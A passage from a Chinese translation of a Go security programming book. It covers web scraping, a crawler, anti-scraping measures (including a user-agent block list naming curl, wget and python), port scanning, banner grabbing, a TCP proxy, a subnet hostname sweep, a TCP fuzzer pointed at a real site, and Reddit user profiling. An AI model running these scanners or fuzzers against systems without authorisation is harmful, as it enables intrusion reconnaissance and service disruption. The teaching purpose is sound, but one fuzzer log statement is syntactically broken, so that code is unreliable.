该程序加载一个网页,然后将标题和所有标题打印到标准输出。尝试针对一些 URL 运行此程序,看看你是否能够仅通过查看标题就快速了解页面的内容:
package main
import (
"fmt"
"github.com/PuerkitoBio/goquery"
"log"
"net/http"
"os"
)
func main() {
// Load command line arguments
if len(os.Args) != 2 {
fmt.Println("List all headings (h1-h6) in a web page")
fmt.Println("Usage: " + os.Args[0] + " <url>")
fmt.Println("Example: " + os.Args[0] +
" https://www.devdungeon.com")
os.Exit(1)
}
url := os.Args[1]
// Fetch the URL
response, err := http.Get(url)
if err != nil {
log.Fatal("Error fetching URL. ", err)
}
doc, err := goquery.NewDocumentFromReader(response.Body)
if err != nil {
log.Fatal("Error loading HTTP response body. ", err)
}
// Print title before headings
title := doc.Find("title").Text()
fmt.Printf("== Title ==\n%s\n", title)
// Find and list all headings h1-h6
headingTags := [6]string{"h1", "h2", "h3", "h4", "h5", "h6"}
for _, headingTag := range headingTags {
fmt.Printf("== %s ==\n", headingTag)
doc.Find(headingTag).Each(func(i int, heading *goquery.Selection) {
fmt.Println(" * " + heading.Text())
})
}
}
爬取网站页面,收集最常见的单词
该程序打印出网页上所有单词的列表,并计算每个单词在页面中出现的次数。它会搜索所有段落标签。如果你搜索整个正文,它会将所有 HTML 代码视为单词,这会使数据杂乱无章,且并不真正帮助你理解网站的内容。它会修剪字符串中的空格、逗号、句点、制表符和换行符。它还会将所有单词转换为小写,以便标准化数据。
对于每个找到的段落,它会将文本内容拆分开来。每个单词都会存储在一个映射中,该映射将字符串映射到整数计数。在最后,映射会被打印出来,列出每个单词以及它在页面上出现的次数:
package main
import (
"fmt"
"github.com/PuerkitoBio/goquery"
"log"
"net/http"
"os"
"strings"
)
func main() {
// Load command line arguments
if len(os.Args) != 2 {
fmt.Println("List all words by frequency from a web page")
fmt.Println("Usage: " + os.Args[0] + " <url>")
fmt.Println("Example: " + os.Args[0] +
" https://www.devdungeon.com")
os.Exit(1)
}
url := os.Args[1]
// Fetch the URL
response, err := http.Get(url)
if err != nil {
log.Fatal("Error fetching URL. ", err)
}
doc, err := goquery.NewDocumentFromReader(response.Body)
if err != nil {
log.Fatal("Error loading HTTP response body. ", err)
}
// Find and list all headings h1-h6
wordCountMap := make(map[string]int)
doc.Find("p").Each(func(i int, body *goquery.Selection) {
fmt.Println(body.Text())
words := strings.Split(body.Text(), " ")
for _, word := range words {
trimmedWord := strings.Trim(word, " \t\n\r,.?!")
if trimmedWord == "" {
continue
}
wordCountMap[strings.ToLower(trimmedWord)]++
}
})
// Print all words along with the number of times the word was seen
for word, count := range wordCountMap {
fmt.Printf("%d | %s\n", count, word)
}
}
打印页面中外部 JavaScript 文件的列表
检查页面中包含的 JavaScript 文件的 URL 如果你想识别一个应用程序或确定加载了哪些第三方库,可能会有所帮助。该程序将列出网页中引用的外部 JavaScript 文件。外部 JavaScript 文件可能托管在相同的域名上,也可能从远程站点加载。它检查所有 script 标签的 src 属性。
例如,如果一个 HTML 页面有以下标签:
<script src="img/jquery.min.js"></script>
src 属性的 URL 将被打印出来:
/ajax/libs/jquery/3.2.1/jquery.min.js
请注意,src 属性中的 URL 可以是完全限定的或相对 URL。
以下程序加载一个 URL,然后查找所有的script标签。它将打印出每个找到的脚本的src属性。该程序只会查找外部链接的脚本。如果要打印内联脚本,请参考文件底部关于script.Text()的注释。试着在你经常访问的网站上运行这个程序,看看它们嵌入了多少外部和第三方脚本:
package main
import (
"fmt"
"github.com/PuerkitoBio/goquery"
"log"
"net/http"
"os"
)
func main() {
// Load command line arguments
if len(os.Args) != 2 {
fmt.Println("List all JavaScript files in a webpage")
fmt.Println("Usage: " + os.Args[0] + " <url>")
fmt.Println("Example: " + os.Args[0] +
" https://www.devdungeon.com")
os.Exit(1)
}
url := os.Args[1]
// Fetch the URL
response, err := http.Get(url)
if err != nil {
log.Fatal("Error fetching URL. ", err)
}
doc, err := goquery.NewDocumentFromReader(response.Body)
if err != nil {
log.Fatal("Error loading HTTP response body. ", err)
}
// Find and list all external scripts in page
fmt.Println("Scripts found in", url)
fmt.Println("==========================")
doc.Find("script").Each(func(i int, script *goquery.Selection) {
// By looking only at the script src we are limiting
// the search to only externally loaded JavaScript files.
// External files might be hosted on the same domain
// or hosted remotely
src, exists := script.Attr("src")
if exists {
fmt.Println(src)
}
// script.Text() will contain the raw script text
// if the JavaScript code is written directly in the
// HTML source instead of loaded from a separate file
})
}
这个示例查找的是由src属性引用的外部脚本,但有些脚本直接写在 HTML 中,位于script标签的开头和结尾之间。这些内联脚本不会有引用的src属性。可以使用goquery对象上的.Text()函数获取内联脚本的文本。请参阅本示例底部关于script.Text()的说明。
该程序之所以不打印内联脚本,而是专注于外部加载的脚本,是因为外部 JavaScript 文件常常带来很多漏洞。加载远程 JavaScript 是有风险的,应该只从可信的来源加载。即便如此,我们也无法 100%确保远程内容提供商永远不会被攻破并提供恶意代码。考虑像雅虎这样的巨大企业,雅虎曾公开承认他们的系统在过去曾遭受过攻击。雅虎还有一个广告网络,托管着一个内容分发网络(CDN),为大量网站提供 JavaScript 文件。这是攻击者的主要目标之一。考虑到这些风险,在敏感客户门户中引入远程 JavaScript 文件时要格外小心。
深度优先爬取
深度优先爬取是指优先考虑同一域名内的链接,而不是指向其他域名的链接。在这个程序中,外部链接会被完全忽略,只跟随同一域名下的路径或相对链接。
在这个示例中,唯一的路径被存储在一个切片中,并在最后一起打印出来。在爬取过程中遇到的任何错误都会被忽略。由于链接格式错误,爬取过程中经常会遇到错误,我们不希望程序因这些错误而退出。
该程序不使用字符串函数手动解析 URL,而是使用了url.Parse()函数。它可以将主机和路径分开。
在爬取过程中,任何查询字符串和片段都被忽略,以减少重复。查询字符串通过 URL 中的问号标记,片段也称为书签,通过井号(#)标记。这个程序是单线程的,并没有使用 goroutines:
// Crawl a website, depth-first, listing all unique paths found
package main
import (
"fmt"
"github.com/PuerkitoBio/goquery"
"log"
"net/http"
"net/url"
"os"
"time"
)
var (
foundPaths []string
startingUrl *url.URL
timeout = time.Duration(8 * time.Second)
)
func crawlUrl(path string) {
// Create a temporary URL object for this request
var targetUrl url.URL
targetUrl.Scheme = startingUrl.Scheme
targetUrl.Host = startingUrl.Host
targetUrl.Path = path
// Fetch the URL with a timeout and parse to goquery doc
httpClient := http.Client{Timeout: timeout}
response, err := httpClient.Get(targetUrl.String())
if err != nil {
return
}
doc, err := goquery.NewDocumentFromReader(response.Body)
if err != nil {
return
}
// Find all links and crawl if new path on same host
doc.Find("a").Each(func(i int, s *goquery.Selection) {
href, exists := s.Attr("href")
if !exists {
return
}
parsedUrl, err := url.Parse(href)
if err != nil { // Err parsing URL. Ignore
return
}
if urlIsInScope(parsedUrl) {
foundPaths = append(foundPaths, parsedUrl.Path)
log.Println("Found new path to crawl: " +
parsedUrl.String())
crawlUrl(parsedUrl.Path)
}
})
}
// Determine if path has already been found
// and if it points to the same host
func urlIsInScope(tempUrl *url.URL) bool {
// Relative url, same host
if tempUrl.Host != "" && tempUrl.Host != startingUrl.Host {
return false // Link points to different host
}
if tempUrl.Path == "" {
return false
}
// Already found?
for _, existingPath := range foundPaths {
if existingPath == tempUrl.Path {
return false // Match
}
}
return true // No match found
}
func main() {
// Load command line arguments
if len(os.Args) != 2 {
fmt.Println("Crawl a website, depth-first")
fmt.Println("Usage: " + os.Args[0] + " <startingUrl>")
fmt.Println("Example: " + os.Args[0] +
" https://www.devdungeon.com")
os.Exit(1)
}
foundPaths = make([]string, 0)
// Parse starting URL
startingUrl, err := url.Parse(os.Args[1])
if err != nil {
log.Fatal("Error parsing starting URL. ", err)
}
log.Println("Crawling: " + startingUrl.String())
crawlUrl(startingUrl.Path)
for _, path := range foundPaths {
fmt.Println(path)
}
log.Printf("Total unique paths crawled: %d\n", len(foundPaths))
}
广度优先爬取
广度优先爬取是指优先寻找新的域名并尽可能地扩展,而不是继续以深度优先的方式遍历单一域名。
写一个广度优先的爬虫将留给读者作为本章提供的信息基础上的练习。它与前面章节的深度优先爬虫没有太大区别,只不过它应该优先考虑那些指向尚未访问过的域名的 URL。
有几点需要注意。如果不小心且没有设置最大限制,你可能最终会爬取到数 PB 的数据!你可能会选择忽略子域名,或者进入一个拥有无限子域名的网站,你将永远也爬不完。
如何防止网页抓取
完全防止网页爬虫是困难的,甚至可以说是不可能的。如果你从网页服务器提供信息,就总会有某种方法可以以编程方式提取数据。你只能设置障碍物。归根结底,这只是一种模糊化手段,你可以说这种做法并不值得付出太多努力。
JavaScript 增加了难度,但并非不可能,因为 Selenium 可以驱动真实的网页浏览器,像 PhantomJS 这样的框架也可以用来执行 JavaScript。
要求身份验证可以帮助限制爬虫的抓取量。速率限制也能提供一些缓解。速率限制可以使用如 iptables 等工具来实现,也可以在应用层基于 IP 地址或用户会话来实现。
检查客户端提供的用户代理是一种浅显的措施,但可以稍微起到一些作用。丢弃包含如curl、wget、go、python、ruby和perl等关键字的用户代理的请求。阻止或忽略这些请求可以防止简单的爬虫抓取你的网站,但客户端可以伪造或省略其用户代理,绕过这一限制。
如果你想更进一步,你可以使 HTML 的 ID 和类名动态化,以便无法用于查找特定信息。频繁更改你的 HTML 结构和命名,进行猫鼠游戏,让爬虫抓取变得比值得做的工作更繁琐。这不是一个真正的解决方案,我不推荐这么做,但值得一提,因为它在爬虫眼中是令人烦恼的。
你可以使用 JavaScript 在展示数据之前检查客户端的信息,例如屏幕大小。如果屏幕大小为 1 x 1 或 0 x 0,或者其他奇怪的尺寸,你可以假设它是爬虫,并拒绝渲染内容。
蜂蜜罐表单是另一种检测爬虫行为的方法。通过 CSS 或 hidden 属性隐藏表单字段,检查这些字段中是否有值。如果这些字段中有数据,假设是爬虫填写了所有字段并忽略该请求。
另一种选择是使用图像而非文本来存储信息。例如,如果你只输出一个饼状图的图像,那么相比输出数据作为 JSON 对象并让 JavaScript 渲染饼状图,别人抓取数据要困难得多。抓取程序可以直接抓取 JSON 数据。文本也可以放入图像中,以防止文本被抓取,并防止关键词文本搜索,但光学字符识别(OCR)可以通过一些额外的努力绕过这一点。
根据应用的不同,前述的一些技术可能会很有用。
总结
读完本章后,你应该已经理解了网页抓取的基本原理,例如执行 HTTP GET请求,并使用字符串匹配或正则表达式搜索 HTML 评论、电子邮件和其他关键词。你还应该理解如何提取 HTTP 头部,并设置自定义头部以设置 Cookies 和自定义用户代理字符串。此外,你应该了解指纹识别的基本概念,并对如何根据提供的源代码收集 Web 应用程序的信息有一定的了解。
通过本章的学习,你应该已经理解了如何使用goquery包以 jQuery 风格查找 DOM 中的 HTML 元素。你应该能轻松找到网页中的链接,找到文档,列出标题和头部,找到 JavaScript 文件,并理解广度优先与深度优先爬虫的区别。
关于抓取公共网站的说明——请保持尊重。不要通过发送大量数据或让爬虫不受限制地运行,给网站带来不合理的流量。对你编写的程序设置合理的速率限制和最大页面数限制,以免给远程服务器带来过大负担。如果你是为了抓取数据,最好检查是否有 API 可以使用。API 通常更高效且是为了程序化使用而设计的。
你能想到本章中讨论的工具可以应用的其他方法吗?你能想到可以为示例添加的其他功能吗?
在下一章中,我们将介绍主机发现与枚举的方法。我们将涵盖 TCP 套接字、代理、端口扫描、横幅抓取和模糊测试等内容。
第十一章:主机发现与枚举
主机发现是查找网络上主机的过程。如果你已经访问了一个私有网络中的机器,并且想查看该网络上还有哪些机器,进而开始收集网络的概况,这个过程就很有用。你也可以将整个互联网视作网络,寻找某些类型的主机,或者只查找任何主机。Ping 扫描和端口扫描是识别主机的常见技术。nmap 是用于此目的的常用工具。在本章中,我们将介绍 TCP 连接扫描和横幅抓取的基本端口扫描,这两者是 nmap 的最常见用例之一。我们还将讨论可以用来手动交互并探索服务器端口的原始套接字连接。
枚举是一个类似的概念,但它指的是主动检查特定机器,尽可能多地获取信息。这包括扫描服务器的端口以查看哪些端口开放,抓取横幅以检查服务,调用各种服务获取版本号,并通常搜索攻击向量。
主机发现与枚举是有效渗透测试中的关键步骤,因为如果你甚至不知道某台机器存在,你就无法对其进行利用。例如,如果攻击者只知道如何使用ping命令来查找主机,那么你只需要忽略 ping 请求,就能轻松将所有主机隐藏起来,防止攻击者发现。
主机发现与枚举需要与机器建立主动连接,这样会留下日志,可能触发警报,或者让你被注意到。有一些方法可以做到偷偷摸摸,比如只进行 TCP SYN 扫描,避免建立完整的 TCP 连接,或在连接时使用代理,虽然这样并不能完全隐藏你的存在,但会让你看起来像是从别的地方连接的。如果 IP 被封锁,使用代理隐藏你的 IP 会很有用,因为你可以轻松切换到新的代理。
本章还会简要介绍模糊测试,虽然只是触及了这个话题。模糊测试本身值得一章的内容,实际上,已经有整本书专门讨论这个主题。模糊测试在逆向工程或寻找漏洞时更为有用,但也可以用于获取有关服务的信息。例如,某个服务可能不会返回任何响应,这样你就无法了解它的用途,但如果你用错误数据进行模糊测试,并且它返回了错误信息,你可能会了解到它期望什么类型的输入。
本章我们将专门讨论以下主题:
-
TCP 与 UDP 套接字
-
端口扫描
-
横幅抓取
-
TCP 代理
-
在网络上查找命名主机
-
网络服务模糊测试
TCP 与 UDP 套接字
套接字是网络的构建块。服务器通过监听,客户端通过拨号来使用套接字绑定在一起并共享信息。互联网协议(IP)层指定了机器的地址,但传输控制协议(TCP)或用户数据报协议(UDP)指定了应使用机器上的哪个端口。
两者之间的主要区别在于连接状态。TCP 保持连接并验证消息是否被接收,而 UDP 仅发送消息,而不接收来自远程主机的确认。
创建服务器
这是一个示例服务器。如果你想更改协议,可以将 net.Listen() 中的 tcp 参数改为 udp:
package main
import (
"net"
"fmt"
"log"
)
var protocol = "tcp" // tcp or udp
var listenAddress = "localhost:3000"
func main() {
listener, err := net.Listen(protocol, listenAddress)
if err != nil {
log.Fatal("Error creating listener. ", err)
}
log.Printf("Now listening for connections.")
for {
conn, err := listener.Accept()
if err != nil {
log.Println("Error accepting connection. ", err)
}
go handleConnection(conn)
}
}
func handleConnection(conn net.Conn) {
incomingMessageBuffer := make([]byte, 4096)
numBytesRead, err := conn.Read(incomingMessageBuffer)
if err != nil {
log.Print("Error reading from client. ", err)
}
fmt.Fprintf(conn, "Thank you. I processed %d bytes.\n",
numBytesRead)
}
创建客户端
这个示例创建了一个简单的网络客户端,它将与前一个示例中的服务器一起工作。这个示例使用 TCP,但像 net.Listen() 一样,如果你想切换协议,只需在 net.Dial() 中将 tcp 换成 udp 即可:
package main
import (
"net"
"log"
)
var protocol = "tcp" // tcp or udp
var remoteHostAddress = "localhost:3000"
func main() {
conn, err := net.Dial(protocol, remoteHostAddress)
if err != nil {
log.Fatal("Error creating listener. ", err)
}
conn.Write([]byte("Hello, server. Are you there?"))
serverResponseBuffer := make([]byte, 4096)
numBytesRead, err := conn.Read(serverResponseBuffer)
if err != nil {
log.Print("Error reading from server. ", err)
}
log.Println("Message recieved from server:")
log.Printf("%s\n", serverResponseBuffer[0:numBytesRead])
}
端口扫描
在网络上找到主机后,可能是通过执行 ping 扫描或监控网络流量,你通常会想要扫描端口,查看哪些端口是开放并接受连接的。通过查看哪些端口开放,你可以学到很多关于机器的信息。你可能能判断它是 Windows 还是 Linux,或者它是否托管着邮件服务器、Web 服务器、数据库服务器等。
端口扫描有很多种类型,但这个示例演示了最基础和直接的端口扫描示例,这是一个 TCP 连接扫描。它像典型的客户端一样连接,看看服务器是否接受请求。它不会发送或接收任何数据,并在成功时立即断开连接,记录是否成功。
以下示例只扫描本地主机,并将检查的端口限制在保留端口 0-1024 范围内。数据库服务器,如 MySQL,通常监听较高的端口,如 3306,因此你可能需要调整端口范围或使用预定义的常见端口列表。
每个 TCP 连接请求都会在单独的 goroutine 中执行,因此它们将并发运行,并且非常快速地完成。net.DialTimeout() 函数被用来设置我们愿意等待的最大时间:
package main
import (
"strconv"
"log"
"net"
"time"
)
var ipToScan = "127.0.0.1"
var minPort = 0
var maxPort = 1024
func main() {
activeThreads := 0
doneChannel := make(chan bool)
for port := minPort; port <= maxPort ; port++ {
go testTcpConnection(ipToScan, port, doneChannel)
activeThreads++
}
// Wait for all threads to finish
for activeThreads > 0 {
<- doneChannel
activeThreads--
}
}
func testTcpConnection(ip string, port int, doneChannel chan bool) {
_, err := net.DialTimeout("tcp", ip + ":" + strconv.Itoa(port),
time.Second*10)
if err == nil {
log.Printf("Port %d: Open\n", port)
}
doneChannel <- true
}
从服务中抓取横幅
确定了开放的端口后,你可以尝试从连接中读取,看看服务是否提供了一个横幅或初始消息。
以下示例与之前类似,但与仅连接和断开连接不同,它将连接并尝试从服务器读取初始消息。如果服务器提供任何数据,它会被打印出来;但如果服务器没有发送任何数据,则什么也不会显示:
package main
import (
"strconv"
"log"
"net"
"time"
)
var ipToScan = "127.0.0.1"
func main() {
activeThreads := 0
doneChannel := make(chan bool)
for port := 0; port <= 1024 ; port++ {
go grabBanner(ipToScan, port, doneChannel)
activeThreads++
}
// Wait for all threads to finish
for activeThreads > 0 {
<- doneChannel
activeThreads--
}
}
func grabBanner(ip string, port int, doneChannel chan bool) {
connection, err := net.DialTimeout(
"tcp",
ip + ":"+strconv.Itoa(port),
time.Second*10)
if err != nil {
doneChannel<-true
return
}
// See if server offers anything to read
buffer := make([]byte, 4096)
connection.SetReadDeadline(time.Now().Add(time.Second*5))
// Set timeout
numBytesRead, err := connection.Read(buffer)
if err != nil {
doneChannel<-true
return
}
log.Printf("Banner from port %d\n%s\n", port,
buffer[0:numBytesRead])
doneChannel <- true
}
创建 TCP 代理
就像在第九章中的 HTTP 代理一样,Web 应用程序,TCP 级代理也可以用于调试、日志记录、流量分析和隐私保护。在进行端口扫描、主机发现和枚举时,代理可以帮助隐藏你的位置信息和源 IP 地址。你可能想隐藏你的来源位置,伪装身份,或者在执行请求时使用一个临时 IP,以防你因被列入黑名单而受阻。
以下例子将监听本地端口,将请求转发到远程主机,然后将远程服务器的响应返回给客户端。它还会记录所有请求。
你可以通过运行前一节中的服务器,并设置代理转发到该服务器,来测试这个代理。当回显服务器和代理服务器运行时,使用 TCP 客户端连接到代理服务器:
package main
import (
"net"
"log"
)
var localListenAddress = "localhost:9999"
var remoteHostAddress = "localhost:3000" // Not required to be remote
func main() {
listener, err := net.Listen("tcp", localListenAddress)
if err != nil {
log.Fatal("Error creating listener. ", err)
}
for {
conn, err := listener.Accept()
if err != nil {
log.Println("Error accepting connection. ", err)
}
go handleConnection(conn)
}
}
// Forward the request to the remote host and pass response
// back to client
func handleConnection(localConn net.Conn) {
// Create remote connection that will receive forwarded data
remoteConn, err := net.Dial("tcp", remoteHostAddress)
if err != nil {
log.Fatal("Error creating listener. ", err)
}
defer remoteConn.Close()
// Read from the client and forward to remote host
buf := make([]byte, 4096) // 4k buffer
numBytesRead, err := localConn.Read(buf)
if err != nil {
log.Println("Error reading from client.", err)
}
log.Printf(
"Forwarding from %s to %s:\n%s\n\n",
localConn.LocalAddr(),
remoteConn.RemoteAddr(),
buf[0:numBytesRead],
)
_, err = remoteConn.Write(buf[0:numBytesRead])
if err != nil {
log.Println("Error writing to remote host. ", err)
}
// Read response from remote host and pass it back to our client
buf = make([]byte, 4096)
numBytesRead, err = remoteConn.Read(buf)
if err != nil {
log.Println("Error reading from remote host. ", err)
}
log.Printf(
"Passing response back from %s to %s:\n%s\n\n",
remoteConn.RemoteAddr(),
localConn.LocalAddr(),
buf[0:numBytesRead],
)
_, err = localConn.Write(buf[0:numBytesRead])
if err != nil {
log.Println("Error writing back to client.", err)
}
}
在网络上查找命名的主机
如果你刚刚获得对一个网络的访问权限,首先可以做的事情之一就是了解网络上有哪些主机。你可以扫描子网上的所有 IP 地址,然后进行 DNS 查询,看看能否找到任何命名的主机。主机名可以具有描述性或信息性名称,从中可以得知服务器可能运行的服务。
默认情况下,纯 Go 解析器只能阻塞一个 goroutine,而不是系统线程,从而提高了一些效率。你可以通过设置环境变量显式指定 DNS 解析器:
export GODEBUG=netdns=go # Use pure Go resolver (default)
export GODEBUG=netdns=cgo # Use cgo resolver
这个例子查找子网中的所有可能主机,并尝试为每个 IP 解析主机名:
package main
import (
"strconv"
"log"
"net"
"strings"
)
var subnetToScan = "192.168.0" // First three octets
func main() {
activeThreads := 0
doneChannel := make(chan bool)
for ip := 0; ip <= 255; ip++ {
fullIp := subnetToScan + "." + strconv.Itoa(ip)
go resolve(fullIp, doneChannel)
activeThreads++
}
// Wait for all threads to finish
for activeThreads > 0 {
<- doneChannel
activeThreads--
}
}
func resolve(ip string, doneChannel chan bool) {
addresses, err := net.LookupAddr(ip)
if err == nil {
log.Printf("%s - %s\n", ip, strings.Join(addresses, ", "))
}
doneChannel <- true
}
对网络服务进行模糊测试
模糊测试是向应用程序发送故意构造的错误格式、过多或随机的数据,试图使其行为异常、崩溃或泄露敏感信息。你可以通过模糊测试识别缓冲区溢出漏洞,这可能导致远程代码执行。如果你发送特定大小的数据后导致应用程序崩溃或停止响应,可能是由于缓冲区溢出引起的。
有时,你可能仅仅是通过让服务使用过多内存或占用所有处理能力,导致服务拒绝。正则表达式以其极慢而著称,且可能在 Web 应用程序的 URL 路由机制中被滥用,消耗大量 CPU,尽管请求数很少。
非随机但格式错误的数据可能同样危险,甚至更为严重。一个适当格式错误的视频文件可能导致 VLC 崩溃并暴露代码执行漏洞。一个适当格式错误的数据包,改变 1 个字节,就可能导致敏感数据泄露,就像 Heartbleed OpenSSL 漏洞一样。
以下例子将演示一个非常基础的 TCP 模糊测试器。它向服务器发送长度逐渐增加的随机字节。它从 1 个字节开始,然后以 2 的幂指数增长。首先发送 1 个字节,然后是 2、4、8、16,继续发送,直到出现错误或达到最大配置限制。
调整maxFuzzBytes以设置发送到服务的最大数据大小。注意,它会同时启动所有线程,所以要小心服务器负载。查看响应中的异常或服务器的完全崩溃:
package main
import (
"crypto/rand"
"log"
"net"
"strconv"
"time"
)
var ipToScan = "www.devdungeon.com"
var port = 80
var maxFuzzBytes = 1024
func main() {
activeThreads := 0
doneChannel := make(chan bool)
for fuzzSize := 1; fuzzSize <= maxFuzzBytes;
fuzzSize = fuzzSize * 2 {
go fuzz(ipToScan, port, fuzzSize, doneChannel)
activeThreads++
}
// Wait for all threads to finish
for activeThreads > 0 {
<- doneChannel
activeThreads--
}
}
func fuzz(ip string, port int, fuzzSize int, doneChannel chan bool) {
log.Printf("Fuzzing %d.\n", fuzzSize)
conn, err := net.DialTimeout("tcp", ip + ":" + strconv.Itoa(port),
time.Second*10)
if err != nil {
log.Printf(
"Fuzz of %d attempted. Could not connect to server. %s\n",
fuzzSize,
err,
)
doneChannel <- true
return
}
// Write random bytes to server
randomBytes := make([]byte, fuzzSize)
rand.Read(randomBytes)
conn.SetWriteDeadline(time.Now().Add(time.Second * 5))
numBytesWritten, err := conn.Write(randomBytes)
if err != nil { // Error writing
log.Printf(
"Fuzz of %d attempted. Could not write to server. %s\n",
fuzzSize,
err,
)
doneChannel <- true
return
}
if numBytesWritten != fuzzSize {
log.Printf("Unable to write the full %d bytes.\n", fuzzSize)
}
log.Printf("Sent %d bytes:\n%s\n\n", numBytesWritten, randomBytes)
// Read up to 4k back
readBuffer := make([]byte, 4096)
conn.SetReadDeadline(time.Now().Add(time.Second *5))
numBytesRead, err := conn.Read(readBuffer)
if err != nil { // Error reading
log.Printf(
"Fuzz of %d attempted. Could not read from server. %s\n",
fuzzSize,
err,
)
doneChannel <- true
return
}
log.Printf(
"Sent %d bytes to server. Read %d bytes back:\n,
fuzzSize,
numBytesRead,
)
log.Printf(
"Data:\n%s\n\n",
readBuffer[0:numBytesRead],
)
doneChannel <- true
}
总结
阅读完本章后,你应该已经理解了主机发现和枚举的基本概念。你应该能够从高层次解释这些概念,并提供每个概念的基本示例。
首先,我们讨论了原始的 TCP 套接字,并通过一个简单的服务器和客户端的示例来说明。虽然这些示例本身并不是特别有用,但它们是构建与服务进行自定义交互的工具的模板。这在尝试指纹识别一个未识别的服务时会非常有帮助。
你现在应该知道如何运行一个简单的端口扫描,并理解为什么你可能需要进行端口扫描。你应该理解如何使用 TCP 代理及其所带来的好处。你应该理解横幅抓取的原理,并知道为什么它是收集信息的一个有用方法。
还有许多其他形式的枚举。在 Web 应用程序中,你可以枚举用户名、用户 ID、电子邮件等。例如,如果一个网站使用 URL 格式 www.example.com/user_profile/1234,你可以从数字 1 开始,并每次递增 1,遍历网站上所有的用户个人资料。其他形式的枚举包括 SNMP、DNS、LDAP 和 SMB。
你能想到其他什么形式的枚举?如果你已经是服务器上一个低权限用户,你能想到什么样的枚举?一旦你有了一个 shell,你想收集关于服务器的哪些信息?
一旦你进入服务器,你可以收集大量信息:用户名和用户组、主机名、网络设备信息、挂载的文件系统、正在运行的服务、iptables 设置、定时任务、启动服务等。有关获取机器访问权限后的更多信息,请参考第十三章,后期利用。
在下一章,我们将讨论社会工程学,以及如何通过 JSON REST API 从网络收集情报、发送钓鱼邮件并生成二维码。我们还将介绍多个蜜罐的示例,包括 TCP 蜜罐和两种 HTTP 蜜罐的方法。
第十二章:社会工程学
社会工程学是指攻击者操纵或欺骗受害者执行某些操作或提供私人信息。这通常通过冒充受信任的人、制造紧迫感或构造虚假理由迫使受害者行动。受害者的行动可能是简单的信息泄露,也可能是更复杂的操作,如下载并执行恶意软件。
本章讨论了蜜罐,尽管它们有时是为了欺骗机器人而非人类。其目标是故意进行欺骗,这正是社会工程学的核心。我们提供了基本的蜜罐示例,包括 TCP 和 HTTP 蜜罐。
本书未涉及许多其他类型的社会工程学。这包括一些现场或面对面的情况,比如尾随进入和冒充维修人员,以及其他数字和远程方法,如电话、短信和社交媒体消息。
社会工程学在法律上可能是一个灰色地带。例如,即使公司授权你对其员工进行社会工程学攻击,也不代表你有权限进行网络钓鱼攻击以窃取员工个人邮件的凭证。要注意法律和道德的边界。
在本章中,我们将特别讨论以下主题:
-
使用 Reddit 的 JSON REST API 收集关于个人的信息
-
使用 SMTP 发送网络钓鱼邮件
-
生成二维码和将图像进行 base64 编码
-
蜜罐
通过 JSON REST API 收集信息
带有 JSON 的 REST 已成为 Web API 的事实标准接口。每个 API 都不同,因此本示例的主要目的是展示如何处理来自 REST 端点的 JSON 数据。
本示例将 Reddit 用户名作为参数,并打印该用户的最新帖子和评论,以了解他们讨论的话题。选择 Reddit 作为示例是因为某些端点不需要认证,便于测试。其他提供 REST API 的服务,如 Twitter 和 LinkedIn,也可以用于收集信息。
请记住,本示例的重点是提供一个解析来自 REST 端点的 JSON 示例。由于每个 API 都不同,因此此示例应作为编写自己的程序与 JSON API 交互时的参考。必须定义一个数据结构来匹配 JSON 端点的响应。在本例中,创建的数据结构与 Reddit 的响应匹配。
在 Go 中处理 JSON 时,你首先需要定义数据结构,然后使用 Marshal 和 Unmarshal 函数在原始字符串和结构化数据格式之间进行编码和解码。以下示例创建了一个与 Reddit 返回的 JSON 结构匹配的数据结构。然后使用 Unmarshal 函数将字符串转换为 Go 数据对象。你不需要为 JSON 中的每一项数据创建变量,可以省略不需要的字段。
JSON 响应中的数据嵌套了许多层级,因此我们将使用匿名结构体。这可以避免我们为每个嵌套层级创建一个单独命名的类型。这个示例创建了一个命名结构体,所有嵌套层级都作为嵌入的匿名结构体存储。
Go 数据结构中的变量名与 JSON 响应中提供的变量名不匹配,因此在结构体定义的数据类型后面提供了 JSON 变量名。这允许将变量从 JSON 数据正确映射到 Go 结构体中。这通常是必要的,因为 Go 数据结构中的变量名是区分大小写的。
请注意,每个网站服务都有自己的服务条款,这些条款可能限制或约束你访问其网站的方式。有些网站禁止抓取,其他网站则有访问频率限制。虽然这可能不是刑事犯罪,但服务提供商可能会因违反服务条款而封锁你的账户或 IP 地址。在与任何网站或 API 互动之前,一定要阅读其服务条款。
这个示例的代码如下:
package main
import (
"encoding/json"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"time"
)
// Define the structure of the JSON response
// The json variable names are specified on
// the right since they do not match the
// struct variable names exactly
type redditUserJsonResponse struct {
Data struct {
Posts []struct { // Posts & comments
Data struct {
Subreddit string `json:"subreddit"`
Title string `json:"link_title"`
PostedTime float32 `json:"created_utc"`
Body string `json:"body"`
} `json:"data"`
} `json:"children"`
} `json:"data"`
}
func printUsage() {
fmt.Println(os.Args[0] + ` - Print recent Reddit posts by a user
Usage: ` + os.Args[0] + ` <username>
Example: ` + os.Args[0] + ` nanodano
`)
}
func main() {
if len(os.Args) != 2 {
printUsage()
os.Exit(1)
}
url := "https://www.reddit.com/user/" + os.Args[1] + ".json"
// Make HTTP request and read response
response, err := http.Get(url)
if err != nil {
log.Fatal("Error making HTTP request. ", err)
}
defer response.Body.Close()
body, err := ioutil.ReadAll(response.Body)
if err != nil {
log.Fatal("Error reading HTTP response body. ", err)
}
// Decode response into data struct
var redditUserInfo redditUserJsonResponse
err = json.Unmarshal(body, &redditUserInfo)
if err != nil {
log.Fatal("Error parson JSON. ", err)
}
if len(redditUserInfo.Data.Posts) == 0 {
fmt.Println("No posts found.")
fmt.Printf("Response Body: %s\n", body)
}
// Iterate through all posts found
for _, post := range redditUserInfo.Data.Posts {
fmt.Println("Subreddit:", post.Data.Subreddit)
fmt.Println("Title:", post.Data.Title)
fmt.Println("Posted:", time.Unix(int64(post.Data.PostedTime),
0))
fmt.Println("Body:", post.Data.Body)
fmt.Println("========================================")
}
}
通过 SMTP 发送钓鱼邮件
钓鱼攻击是指攻击者通过伪造的电子邮件或其他旨在看起来像来自可信来源的合法电子邮件的通讯方式,试图获取敏感信息的过程。
